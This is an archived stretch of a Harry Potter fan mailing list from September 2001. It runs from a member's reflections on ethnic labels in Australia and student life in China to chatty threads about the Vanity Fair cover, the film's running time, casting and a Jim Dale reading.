In Australia, people with straight black hair and dark slanting eyes (technically, the Mongoloid race) are called "Asian", or worse "Chinese" (regardless of actual background), with these terms often used in a sneering and derogatory fashion.  Dark skinned Caucasians with black hair are called "Indian" (which must go down well with the Sri Lankans, Pakistanis and Bangladeshis...!).  I'm reliably informed that the latter group are referred to as Asians in the UK, and my impression is that the former group are referred to as Asians in the US (though I welcome clarification on this point!).

Now, I confess that I have *more* of a problem with the Australian use of "Ayyy-sian" than with the term "Oriental" (this is almost never used in Australia anyway, which may explain this).  Not only is it often used with resentment and contempt, it is also used as a convenient collective term for a *very* large continent with *very* diverse cultures in it.  Granted, your average Australian wouldn't know or see the difference between a Japanese person and a Thai person anyway, but the habit of people who are supposed to know better, such as educators, governments, cross-cultural trainers (yes, if I may jump on my hobby horse, there's a lot of awful cross-cultural training around and sweeping declarations about Asians are all too popular) and others of dumping everyone from North Korea to Sri Lanka in the same basket and referring to them as if they were a homogenous group irks me, especially when the same people are prepared to acknowledge supposedly vast differences between European and even English-speaking countries.  What passes as "Asian" culture in Australia seems more like "Overseas Chinese" culture to me!  To me, Asian is a geographical term, and should be used sparingly, if at all, as a cultural one.

Note, however, that this is just my view: I know many people who are quite happy to identify themselves as "Asians", and have indeed noted that international students from different Asian countries often form alliances when they arrive here, feeling more similar culturally to each other than they do to Australians.

Here's a travel tale to show you the other side of the story...

In 1994, I spent six months in China studying Mandarin and living in an overseas students' dormitory.  My fellow international students fell into a few distinct groups: Overseas Chinese who spoke Mandarin who were there attending a Chinese medicine course of mixed ages, young Japanese students taking time off university or after finishing school to learn Mandarin, and the miscellaneous rest, including 3 Danes there to learn wushu, some humanities Masters students from various European countries there to do field work, and scattered others from various countries there to learn Mandarin, like me.

When I first arrived, after 3 years' Mandarin study at university (which does not mean as much as you might hope: the standard of a lot of graduates was so bad they could barely communicate), I was finding the local accent difficult, the environment quite intimidating and the inability to communicate fluently frustrating.  Inevitably, looking at me, the Europeans decided I was one of them and took me in, before proceeding to spend most of their time sitting around complaining in English about how awful China was.  After I found my feet, I decided this was a waste of time, and instead cultivated the Overseas Chinese and Japanese students, foreshadowing my own later realisation that socially I am really more Australian born Chinese in culture than anything else.

There are many interesting things to be said about my experiences with this, but the relevant one is that one day I went to have lunch with Lanping, from Taiwan, and Satomi, from Japan.  As we set out, Lanping decided she'd better ring her room-mate to let her know where she was.  She rang up, and announced that she was going to lunch with (and I translate exactly) "a Japanese and a foreigner"!  Other Asians get labelled by country, but those Westerners...

Yes, half-Chinese I may be, and an honorary Asian I may be considered in Australia (damn, I'm getting self-conscious every time I use the word "Asian" now, after my diatribe above!), but in Asia my large light eyes and nose-with-a-bridge made me inescapably a Foreigner, Chinese mother or no.  In fact, many Chinese people refused to believe that my mother was Chinese: "You look 100% foreigner to me!"  I also noted that my Chinese student friends, including those with English majors, spoke of  "The West" in sweeping, all-encompassing tones, and appeared to regard it as a homogenous, obscenely rich, scandalously immoral and extremely dangerous place where people are all infected with AIDS and shoot each other in the streets (based on Hollywood films).  Manqing, whose English was so good I thought she was Chinese American when I first met her (despite the fact that I was the first native English speaker she'd met!),  said that she was too scared to go to The West on these grounds, even though she could probably have won a scholarship to go there if she wanted.
 
The idea that there was any difference between, say, the US and France was a completely new one (ooo, the French students didn't like that!).  I explained that Australia has a lot of Asian immigrants and restaurants and groceries (yes, rice *is* available!), and that bread wasn't an exact equivalent of rice in our diet, and that shooting in the streets and AIDS do exist, but are not part of the everyday experience of the great majority of people, etc.etc. but I never seemed to convince them.  "Whenever *I* see films about The West, that's always the way it is," they'd tell me, convinced that I was of course showing nationalistic loyalty.  I grew so frustrated by this I was tempted to rip out the restaurant section in the Yellow Pages and post it to them when I got home!

Ah well.

At least Chinese university students in 1994 were unlikely to have ever travelled abroad and have limited exposure to Western media.  Australians, on the other hand, and middle class Australian university students in particular, have less excuse for being ignorant about Asia: it's more of a disinterest and willingness to swallow stereotypes factor.  Things *have* improved drastically over the last 15 years or so, I must admit: a lot more Australians these days seem to travel in Asia and study Asian languages and eat Asian foods, partly as a result of a big push from the government in the early 1990s, where the growth in Japanese classes, especially, was out of control.

Amy Z on the lack of pink umbrella for Hagrid:
> P.S.  You could get the Hagrid and nick a pink umbrella from a Barbie or somesuch
 
How big is he?  Would a pink cocktail umbrella do?  It'd be a lot cheaper than buying an entire "Barbie on Vacation in London" kit and nabbing just the umbrella (wot me, be insensitive about the English climate?)

Tabouli.



[Non-text portions of this message have been removed]




From inviziblegirl at hotmail.com  Wed Sep  5 15:31:15 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Wed, 05 Sep 2001 11:31:15 -0400
Subject: [HPFGU-OTChatter] Here's what the Vanity Fair cover looks like!
Message-ID: <F197HfLojFf6K9rzlfp0000a6d4@hotmail.com>


>From: "Rachel Bray" <bray.262 at osu.edu>
>
>http://empire2.warwick.usf.ihost.com/news/news.asp?3367

Hey, thanks Rachel for the link!

Personally, I'm not too fond of the cover. It just looks...er...cheesy? Of 
course, this is probably just me...

But the picture "Friends and Foes" is quite good. I loved seeing it. Except, 
why is Daniel (Harry) the only one in the picture grinning? Everyone else 
looks so solemn. It's just a tad odd to me. But I'm sure some listee will 
pipe up and say, "Well, of course he's grinning, it's because of this..."

Regardless, I'm definitely going to have to secure my copy of this issue 
when it comes out!

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01...HP pages added

"If you are choking to death in a restaurant you have a better chance of 
survival than if you tell your best friend that you are thinking of killing 
yourself."
- B. Kopans
National Mental Illness Screening Project



_________________________________________________________________
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From jenP_97 at yahoo.com  Wed Sep  5 16:27:22 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 05 Sep 2001 16:27:22 -0000
Subject: New Regional Group: HP4GU-California
Message-ID: <9n5jpa+3q0i@eGroups.com>

Hi, everyone.  I just wanted to let you know that there is now a 
regional group for those of us living in California - or those of us 
willing to visit.  Here's the address:

http://groups.yahoo.com/group/HP4GU-California

I hope we can get organized enough to plan a get-together when the 
movie comes out!

Jen (who has plenty of people to go with, but would love to have a 
*really* big group!)




From aiz24 at hotmail.com  Wed Sep  5 17:20:06 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 05 Sep 2001 17:20:06 -0000
Subject: Here's what the Vanity Fair cover looks like!
In-Reply-To: <F197HfLojFf6K9rzlfp0000a6d4@hotmail.com>
Message-ID: <9n5ms6+7miu@eGroups.com>

Amber wrote:
 
> But the picture "Friends and Foes" is quite good. I loved seeing it. 
Except, 
> why is Daniel (Harry) the only one in the picture grinning? 

The only people I'm getting when I click the link are Draco, Crabbe, 
Goyle, and Hermione.  Grrr!  Oh well, I'll just have to lurk in the 
library until the issue shows up.

Much whooping was heard around here when I saw the cover, I'll tell 
you that.  Why do you think it's cheesy?  And how do you suppose they 
handle the Cushioning Charm on these broomsticks?

Amy
72 days til the movie!




From miss_megan at dingoblue.net.au  Thu Sep  6 02:55:34 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Thu, 06 Sep 2001 02:55:34 -0000
Subject: Here's what the Vanity Fair cover looks like!
In-Reply-To: <9n5ms6+7miu@eGroups.com>
Message-ID: <9n6oj6+iv90@eGroups.com>


Where's the scar? (I know it's an old question but really - where is 
it? are they going to put it in later with computer graphics and they 
are holding off so it will be a surprise? what's with this?

Amy (I think it was you) if you can't see all the kids you may want 
to change the resolution on your computer - make the numbers larger. 
this may help.

storm




From jenP_97 at yahoo.com  Thu Sep  6 03:35:17 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Thu, 06 Sep 2001 03:35:17 -0000
Subject: Here's what the Vanity Fair cover looks like!
In-Reply-To: <9n5ms6+7miu@eGroups.com>
Message-ID: <9n6qtl+cgtm@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:

<snip>

> The only people I'm getting when I click the link are Draco, Crabbe, 
> Goyle, and Hermione.  Grrr!  Oh well, I'll just have to lurk in the 
> library until the issue shows up.

<snip>

Amy - I had the same problem at first.  I opened the cover picture 
first, then tried the "friends and foes" pic, and it went into the 
same window.  That's the problem.  You need to go back to the site, 
and choose the "friends and foes" pic FIRST - it'll give you the 
right sized window, and you'll be able to see all of them. 

Hope that solves your problem...

Jen





From aiz24 at hotmail.com  Thu Sep  6 06:50:59 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 06:50:59 -0000
Subject: Here's what the Vanity Fair cover looks like!
In-Reply-To: <9n6oj6+iv90@eGroups.com>
Message-ID: <9n76cj+unsf@eGroups.com>

--- In HPFGU-OTChatter at y..., "storm" <miss_megan at d...> wrote:
> 
> Where's the scar? (I know it's an old question but really - where is 
> it? are they going to put it in later with computer graphics and 
they 
> are holding off so it will be a surprise? what's with this?

I can't see it in the VF cover photo, but that's probably because the 
picture's too small.  Have you seen the second trailer?  It is visible 
there.  If you can't get access to the trailer, try 
http://www.hpgalleries.com/mgallery40.htm.

BTW, I've managed to see the whole Friends and Foes picture, thanks.

Amy




From aiz24 at hotmail.com  Thu Sep  6 07:08:06 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 07:08:06 -0000
Subject: Ok, Miss Penny!
In-Reply-To: <02c701c135b0$ed6dd940$10ccfea9@computer>
Message-ID: <9n77cm+kq4m@eGroups.com>

--- In HPFGU-OTChatter at y..., "Dee R" <gypsycaine at y...> wrote:
> I haven't seen a word recently concerning that little one!  C'mon, 
give us
> details on how the little HP'er is doing, ok?
> 
> Thanks!
> 
> Dee
> 
> (Who hopes that folks back her up on this!)

I do!

Amy




From inviziblegirl at hotmail.com  Thu Sep  6 12:50:26 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 06 Sep 2001 08:50:26 -0400
Subject: Running time of movie, Weddings
Message-ID: <F64D3n2f7GIBjhyMVYU00001009@hotmail.com>


>From: prefectmarcus at yahoo.com
>
>This just in.  It would appear that WB is not going to mess around
>with their potential gold-mine.  All the rumors have been that the
>cut is long.  Apparently the time has been set at 142 minutes, nearly
>two and a half hours!

I'd just like to say, "YOWZA!". This makes me sooooo happy! Marcus, you made 
my day! Two and a half hours of blissful HP-ness. Is it November yet?

>Also, the October issue of "Vanity Fair" going on sale this week has
>a Harry Potter cover story with 22 pages of pictures.  Looking good!

What? This week? Really? Dang, I *need* to get to a bookstore. Is the 
magazine already out, or is it being released this weekend?

On a completely other note, I'm quite excited due to non-HP reasons. This 
weekend, I'm going to a wedding! And an interesting wedding at that; the 
bride is Catholic and the groom is Jewish. I've never been to an cross-faith 
wedding (not that I've been to a lot of weddings) and am very interested to 
see how they combine the ceremonies. They're holding the wedding in a 
neutral place and have both a priest and rabbi. The only bad thing is that 
the bride's grandmother is refusing to go; other than that, both families 
have been pretty good about the cross-faith thing.

~Amber
(Who gets to curl her hair this weekend, something she hasn't done for at 
least a year!)

********
http://www.the-tabula-rasa.com
Updated 9/03/01...HP pages added

"If you are choking to death in a restaurant you have a better chance of 
survival than if you tell your best friend that you are thinking of killing 
yourself."
- B. Kopans
National Mental Illness Screening Project



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From inviziblegirl at hotmail.com  Thu Sep  6 13:13:49 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 06 Sep 2001 09:13:49 -0400
Subject: [HPFGU-OTChatter] Re: Here's what the Vanity Fair cover looks like!
Message-ID: <F48IzQtO9vXLsdAefpG000101fe@hotmail.com>


>From: "Amy Z" <aiz24 at hotmail.com>
>
>Much whooping was heard around here when I saw the cover, I'll tell
>you that.  Why do you think it's cheesy?

I don't know, I guess it's just that the cover looks comical to me. I can't 
really put my finger on it. Maybe it's that I keep forgetting that they're 
marketing this movie to kids (regardless of whether the book is for kids or 
not). The picture looks like one for a kids movie, IMO, and I guess that 
irks me a bit.

Not to say that HP isn't humorous (far from it at times!) or that I don't 
like kid movies! But I guess I was expecting a more "serious" cover.

Maybe it's because I don't particularly like the broom scenes that I've seen 
in the trailer? For some reason, I just don't buy them. Perhaps I'm getting 
a bit of leak-over from that. Ironically, I'm most looking forward to the 
Quidditch matches in the movie. While others love the matches in the books, 
those scenes have always been a bit lukewarm for me (I tend to gloss over 
them, except for Lee Jordan's commentary). I'm hoping that the movie helps 
me visualize Quidditch a bit better so that I can see those scenes in a new 
light.

Not to say that the cover will deter me from getting the magazine! Or a 
couple of magazines, one to read, one to cut up to make a collage, and maybe 
one to frame.

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01...HP pages added

"If you are choking to death in a restaurant you have a better chance of 
survival than if you tell your best friend that you are thinking of killing 
yourself."
- B. Kopans
National Mental Illness Screening Project


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From blpurdom at yahoo.com  Thu Sep  6 14:24:31 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 06 Sep 2001 14:24:31 -0000
Subject: Running time of movie, Weddings
In-Reply-To: <F64D3n2f7GIBjhyMVYU00001009@hotmail.com>
Message-ID: <9n80uv+flq9@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amber ?" <inviziblegirl at h...> wrote:
> 
> >From: prefectmarcus at y...
> >
> >This just in.  It would appear that WB is not going to mess around
> >with their potential gold-mine.  All the rumors have been that the
> >cut is long.  Apparently the time has been set at 142 minutes, 
> >nearly two and a half hours!
 
A post on the main list (which probably should have been here, but oh 
well...) said the same, and that the previous record holders were 
Mary Poppins and the remake of the Parent Trap (139 mins and 127 
mins).  However, I always thought that Chitty Chitty Bang Bang was 
the longest kid movie.  It even has an intermission (on the video, 
too).  So I checked the video box (we have a large collection of 
tapes for our kids, who aren't really allowed to watch prime time TV 
with rare exceptions) and it says that the running time is 2 hours 24 
minutes (144 mins).  This makes it two minutes longer than the Harry 
Potter movie.  Is someone not counting CCBB as a kid film or 
something?  This was my favorite movie as a kid, and one can imagine 
that Rowling may have liked it also, considering that her physical 
descriptions of Snape could just as easily fit the Child Catcher (and 
that's not the only similarity).  Could it be it's being ignored 
because it was written by Ian Fleming, also the creator of James 
Bond?  Who knows...the media just prints whatever it wants.  I 
learned that a long time ago.

--Barb
(feeling a little cynical today)





From aiz24 at hotmail.com  Thu Sep  6 18:02:12 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 18:02:12 -0000
Subject: Running time of movie - Cover photo
In-Reply-To: <9n80uv+flq9@eGroups.com>
Message-ID: <9n8dn4+anq7@eGroups.com>

I may be taking this combining-messages thing a bit far--OT usually 
feels blissfully anarchic when it comes to such guidelines--but what 
the hey.

Barb wrote:

>Is someone not counting CCBB as a kid film or 
> something?  This was my favorite movie as a kid, and one can 
imagine 
> that Rowling may have liked it also, considering that her physical 
> descriptions of Snape could just as easily fit the Child Catcher 
(and 
> that's not the only similarity).  Could it be it's being ignored 
> because it was written by Ian Fleming, also the creator of James 
> Bond?  Who knows...the media just prints whatever it wants.  I 
> learned that a long time ago.

It might just be sloppiness.  I'm continually amazed by the simple 
errors of fact that make it into print--more LOONs need to go into 
journalism.

Hey, do you think they'll have an intermission?!  Wouldn't that be 
cool?  (And if they need a motive, think of all the extra popcorn 
they would sell.)  They never put in intermissions anymore.  I had to 
run out in the middle of Malcolm X because I cannot make it through a 
movie more than 2 hours long.  (Amy scoots back to seat, having set 
some kind of sprinting record.  "What happened?"  "He 
proposed."  "She say yes?"  "Of course!")

Amber, I think I know what you mean now about the cover pic.  It 
hadn't occurred to me that it made it look like a kids' thing--VF is 
obviously gambling that adults are very interested in this movie, and 
I very much doubt they'll lose that bet--but it would have looked 
more like actual action from the movie if Harry had been looking 
ahead instead of at the camera.

Do you suppose Liebovitz was deliberately echoing the Mary Grandpre 
cover?  No Snitch etc., but there are other similarities, like the 
cape (maybe it's a robe but it is behaving like a cape) and the hair 
blowing straight up.  Hmm.

Amy Z




From cynthiaanncoe at home.com  Thu Sep  6 20:04:56 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 06 Sep 2001 20:04:56 -0000
Subject: Running time of movie - Cover photo
In-Reply-To: <9n8dn4+anq7@eGroups.com>
Message-ID: <9n8kt8+lgaa@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
>  Amber, I think I know what you mean now about the cover pic.  It 
> hadn't occurred to me that it made it look like a kids' thing--VF 
is 
> obviously gambling that adults are very interested in this movie, 
and 
> I very much doubt they'll lose that bet--but it would have looked 
> more like actual action from the movie if Harry had been looking 
> ahead instead of at the camera.
> 
> Do you suppose Liebovitz was deliberately echoing the Mary Grandpre 
> cover?  No Snitch etc., but there are other similarities, like the 
> cape (maybe it's a robe but it is behaving like a cape) and the 
hair 
> blowing straight up.  Hmm.
> 
> 

I also thought the cover pic looked cheesy.  There is something about 
the child who plays Harry that is just wide of the mark for me.  (In 
contrast, R and H look spot on to me).  I think it is the smile.  He 
smiles in a lot of his pics, even in the scene when he is showing Ron 
his scar.  I'm concerned.  Very concerned.  

Now, I have only seen stills and the web version of the trailer.  So 
can someone set me straight:  did they cast Harry correctly, or did 
they err?

Cindy (hoping that Warner Bros got the single most important thing 
right)




From hamster8 at hotmail.com  Thu Sep  6 20:32:17 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Thu, 06 Sep 2001 20:32:17 -0000
Subject: Silly Harry (was running time & cover photo)
In-Reply-To: <9n8kt8+lgaa@eGroups.com>
Message-ID: <9n8mgh+pckm@eGroups.com>

Cindy ...

"I also thought the cover pic looked cheesy.  There is something 
about the child who plays Harry that is just wide of the mark for 
me.  (In  contrast, R and H look spot on to me).  I think it is the 
smile.  He  smiles in a lot of his pics, even in the scene when he is 
showing Ron his scar.  I'm concerned.  Very concerned."

I agree.  That photo is not only cheesy ... it's actually very bad.  
Dan just doesn't look like Harry in it.  It looks wrong ... and that 
grin is very off-putting for a Quidditch match ... I think someone's 
already cracked the Cushioning Charm joke onlist, so will refrain 
from repeating it ... oops.

"Now, I have only seen stills and the web version of the trailer.  
So  can someone set me straight:  did they cast Harry correctly, or 
did  they err?"

Sacrilege!  Dan is absolutely perfect.  The boy is a complete natural 
and the ideal Harry ... except for me ... in my guise of 
8YearsYounger!Al ... damn ... no, don't damn, she's God, but make JK 
be mildly irritated by the fact that she didn't write the books in 
the early 90s.  Witness his David Copperfield if you don't believe me.

On an even happier note.  142 minutes?!!!!
*bounces out of the room, indescribably happy*

Al
-Who breaks his WB boycott whenever he sees a bit of merchandise he 
likes.
-After two months, Time of Trial 8 has arrived - available now at 
http://groups.yahoo.com/group/HP_Paradise and http://www.schnoogle.com






From blpurdom at yahoo.com  Thu Sep  6 22:11:53 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 06 Sep 2001 22:11:53 -0000
Subject: Running time of movie - Cover photo
In-Reply-To: <9n8dn4+anq7@eGroups.com>
Message-ID: <9n8sb9+10pd7@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> 
> Hey, do you think they'll have an intermission?!  Wouldn't that be 
> cool?  (And if they need a motive, think of all the extra popcorn 
> they would sell.)  They never put in intermissions anymore.   

The last movie I saw in a theatre with an intermission was Lawrence 
of Arabia, when it was remastered and rereleased into theatres 
something like fifteen years ago.  You should have seen the line at 
the concession after the audience had been watching all that sand in 
the desert for an hour and a half!  But the funniest thing was the 
fact that, at the movies as at other venues, there never seems to be 
a line for the men's bathroom, and always a line for the women's 
room.  LOA is such a guy flick that I was waltzing in and out of the 
washroom in no time, while my husband was waiting in line for almost 
the entire intermission!  I'm not sure why women didn't attend in 
larger numbers.  David Lean was my dad's favorite director, and 
Lawrence was his favorite film.  I'm glad I had the chance once in my 
life to see it properly, on a large screen.

--Barb





From bray.262 at osu.edu  Thu Sep  6 18:16:15 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Thu, 6 Sep 2001 18:16:15 EST5EDT
Subject: Ode to Harry Potter
Message-ID: <2FB90538E@lincoln.treasurer.ohio-state.edu>

I don't know if anyone has talked about this before but....

Has anyone else heard Ode to Harry Potter by the 
Switchblade Kittens?

It's "by" Ginny Weasley.

....interesting.  

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From aiz24 at hotmail.com  Thu Sep  6 23:41:50 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 23:41:50 -0000
Subject: Cover photo
In-Reply-To: <9n8kt8+lgaa@eGroups.com>
Message-ID: <9n91ju+ihbr@eGroups.com>

Cindy wrote:

>I think it is the smile.  He 
> smiles in a lot of his pics, even in the scene when he is showing 
Ron 
> his scar.  I'm concerned.  Very concerned.  
> 
> Now, I have only seen stills and the web version of the trailer.  
So 
> can someone set me straight:  did they cast Harry correctly, or did 
> they err?

I'm gonna second Al on this one--Daniel Radcliffe doesn't =look= like 
my Harry (nor does Rupert Grint look a thing like my Ron)*, but he 
=acts= exactly right.  I think he's pretty serious, appropriately--he 
doesn't crack too many smiles in the trailer and seems to be 
refreshingly understated, especially for a child actor.**  As for the 
smile when he shows his scar, I have already waxed embarrassingly 
rhapsodic about that so I'll just find what I wrote and send it to 
you rather than repeating myself.  Suffice it to say that as far as 
one can tell from 3 minutes of film, I think this kid can act circles 
around most grownup actors I've ever seen and I just couldn't be 
happier about this casting decision.

Amy Z
hoping she doesn't have to eat her words on November 16

*These things are very idiosyncratic and even I don't nitpick them.  
Everyone has their own internal pictures and there is no pleasing all 
of us.

**"Understated" is high praise in my aesthetic.  It might help you to 
know that Burt Lancaster is one of my favorite actors.




From neilward at dircon.co.uk  Fri Sep  7 00:08:49 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 7 Sep 2001 01:08:49 +0100
Subject: Cover photo (and cast musings)
References: <9n8kt8+lgaa@eGroups.com>
Message-ID: <00f501c13731$5a6e7c80$7c3570c2@c5s910j>

Cindy said:

<< I also thought the cover pic looked cheesy.  There is something about the
child who plays Harry that is just wide of the mark for me.  (In contrast, R
and H look spot on to me).  I think it is the smile.  He smiles in a lot of
his pics, even in the scene when he is showing Ron his scar.  I'm concerned.
Very concerned. >>

Well, as a publicity shot, I'm rather taken with that
riding-on-a-broomstick-hair-blowing-in-the-wind look.

I think Dan is spot on, and I've warmed to Emma as Hermione, but it's Rupert
who is completely wrong for me.  I'm sure he'll be good and funny and win an
Oscar and so on, but he is nothing like my mental image of Ron Weasley.
He's far too round-faced and too short, his pageboy hairstyle annoys me and
his nose is the wrong shape.  Haven't these people heard of cosmetic
surgery?

The funny thing is, when I'm reading the books, I now see Dan and Emma in
their parts, but there is some other boy - a creation of my mind - playing
Ron. I hope he sticks around...

In the pictures they have on the Vanity Fair website, one of the Crabbe and
Goyle actors seems much too 'normal' to me, and Draco's hair looks buttercup
yellow.  What did they use to bleach it - Superstrength Domestos?

Neil/Flying Ford Anglia

- who is annoyed that Borders still have September's Vanity Fair on the
shelf.  C'mon!! It's six days into September already! Isn't it October yet?

- who would cheerfully watch a 542 minute-long Harry Potter movie.

- who will miss Neil'sHead!Ron




From john at walton.to  Fri Sep  7 00:57:55 2001
From: john at walton.to (John Walton)
Date: Thu, 06 Sep 2001 20:57:55 -0400
Subject: [HPFGU-OTChatter] Silly Harry (was running time & cover photo)
In-Reply-To: <9n8mgh+pckm@eGroups.com>
Message-ID: <B7BD93D3.11C5%john@walton.to>

hamster8 at hotmail.com said:

> I agree.  That photo is not only cheesy ... it's actually very bad.
> Dan just doesn't look like Harry in it.  It looks wrong ... and that
> grin is very off-putting for a Quidditch match ... I think someone's
> already cracked the Cushioning Charm joke onlist, so will refrain
> from repeating it ... oops.

::polishes "Head L.O.O.N." badge he stole from Joywitch in NY last weekend::

Actually, Al, the cover shot is *not* from a Quidditch match. You can tell
this because Harry is wearing his normal uniform (i.e. what he's wearing on
p. 304 of the Vanity Fair, which is, IIRC, the "Friends and Foes" pic on the
web) and not the Quidditch uniform as shown on p. 318-319. The Quidditch
uniform consists of wooly jumpers, horizontally striped in a style
reminiscent of rugby uniforms, and with a Gryffindor emblem over the heart.
The trousers are tan corduroys, with funny greaves (shin pads) and gauntlets
(wrist pads), and they're wearing things that look like rugby boots without
the spikes.

More on this on the Main List. ::flexes fingers and drools over Vanity
Fair::

--John

________________________________

John Walton -- john at walton.to

"Do not go gentle into that good night.
Rage, rage against the dying of the light."
--Dylan Thomas
________________________________




From joy_the_lemur at yahoo.com  Fri Sep  7 01:18:55 2001
From: joy_the_lemur at yahoo.com (joy_the_lemur at yahoo.com)
Date: Fri, 07 Sep 2001 01:18:55 -0000
Subject: Access Hollywood and the Vanity Fair pictures
Message-ID: <9n979v+1bnp@eGroups.com>

If anyone caught Access Hollywood last night, they'll have gotten 
glimpses of some of the other photos from the VF spread.  The 
camera was always zooming about and they constantly 
cross-faded between pictures (of the pictures, no less!).  I 
managed to capture some blurry bits of the Quidditch Team 
photo, and one "close-up" of Harry in that particular photo...said 
close-up managing to show us a Weasley twin in the process. 

If you don't mind blurry pictures...
http://members.aol.com/Pining4Fjords/AHquidd.jpg

What do you think, sirs?

September 11 seems too far away after seeing some of those 
photos!

-joy the lemur




From hfakhro at nyc.rr.com  Fri Sep  7 02:02:55 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Fri, 07 Sep 2001 02:02:55 -0000
Subject: Jim Dale at Scholastic
Message-ID: <9n99sf+s5tr@eGroups.com>

Hi,

I heard that Jim Dale is going to be reading from Prisoner of Azkaban 
at the Scholastic Store on Tuesday September 11th at 4pm. If you are 
interested in going, the number to call is 212-343-4903 - it's free, 
but you have to reserve if you want to go. Just thought I'd spread 
the word here for people who are in or near New York next week and 
have nothing better to do (like me!) on Tuesday afternoons.

Hella




From diagonalley_ at hotmail.com  Fri Sep  7 03:00:03 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Thu, 06 Sep 2001 23:00:03 -0400
Subject: [HPFGU-OTChatter] Jim Dale at Scholastic
Message-ID: <F1603gc8HvDHoSPfdci00005235@hotmail.com>


>
>I heard that Jim Dale is going to be reading from Prisoner of Azkaban
>at the Scholastic Store on Tuesday September 11th at 4pm. If you are
>interested in going, the number to call is 212-343-4903 - it's free,
>but you have to reserve if you want to go. Just thought I'd spread
>the word here for people who are in or near New York next week and
>have nothing better to do (like me!) on Tuesday afternoons.

I'm actually working during the Jim Dale visit.  Dunno how much attention 
I'll be able to pay to him, but at least I'll be there...and who knows?  
Maybe we'll all hang in the back room together for a bit ;}

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From bkdelong at pobox.com  Fri Sep  7 03:12:46 2001
From: bkdelong at pobox.com (B.K. DeLong)
Date: Thu, 06 Sep 2001 23:12:46 -0400
Subject: [HPFGU-OTChatter] Jim Dale at Scholastic
In-Reply-To: <F1603gc8HvDHoSPfdci00005235@hotmail.com>
Message-ID: <5.0.2.1.2.20010906231222.04836ec0@brain-stream.com>

At 11:00 PM 09/06/2001 -0400, you wrote:
>I'm actually working during the Jim Dale visit.  Dunno how much attention
>I'll be able to pay to him, but at least I'll be there...and who knows?
>Maybe we'll all hang in the back room together for a bit ;}

Hehehe. 2 words - bootleg recording ;)


--
B.K. DeLong
bkdelong at pobox.com
617.877.3271

http://www.brain-stream.com               Play.
http://www.the-leaky-cauldron.org        Potter.
http://www.attrition.org                       Security.
http://www.artemisiabotanicals.com     Herb.




From inviziblegirl at hotmail.com  Fri Sep  7 03:22:54 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 06 Sep 2001 23:22:54 -0400
Subject: [HPFGU-OTChatter] Access Hollywood and the Vanity Fair pictures
Message-ID: <F71wZWQgkh9D4gI4lY10000285e@hotmail.com>


>From: joy_the_lemur at yahoo.com
>
>If you don't mind blurry pictures...
>http://members.aol.com/Pining4Fjords/AHquidd.jpg

AHHHH! THE QUIDDITCH TEAM! *shrieks, runs around the room, wonders if B&N 
would be open at 11PM, decides she can't go in her nightgown, shrieks some 
more*

Ooo, I have to go to the airport tomorrow. Maybe the newstand will carry 
Vanity Fair and will have the October issue out? *crosses fingers and prays 
hard* I so very badly want to commit all the photos to memory. I want the 
magazine in my shaking hands right now...

~Amber
(Who's INSANELY jealous of the people who already have their copies)

********
http://www.the-tabula-rasa.com
Updated 9/03/01...HP pages added

"If you are choking to death in a restaurant you have a better chance of 
survival than if you tell your best friend that you are thinking of killing 
yourself."
- B. Kopans
National Mental Illness Screening Project


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From joy_the_lemur at yahoo.com  Fri Sep  7 04:13:03 2001
From: joy_the_lemur at yahoo.com (joy_the_lemur at yahoo.com)
Date: Fri, 07 Sep 2001 04:13:03 -0000
Subject: Access Hollywood and the VF pictures--locations?
In-Reply-To: <F71wZWQgkh9D4gI4lY10000285e@hotmail.com>
Message-ID: <9n9hgf+cslf@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amber ?" <inviziblegirl at h...> 
wrote:

> AHHHH! THE QUIDDITCH TEAM! *shrieks, runs around the 
room, wonders if B&N 
> would be open at 11PM, decides she can't go in her 
nightgown, shrieks some 
> more*
> 
> Ooo, I have to go to the airport tomorrow. Maybe the newstand 
will carry 
> Vanity Fair and will have the October issue out? *crosses 
fingers and prays 
> hard* I so very badly want to commit all the photos to memory. I 
want the 
> magazine in my shaking hands right now...
> 
> ~Amber
> (Who's INSANELY jealous of the people who already have their 
copies)

Hear hear!  I'm positively *pine* green with envy!  

Do those people who already have it live in New York or London 
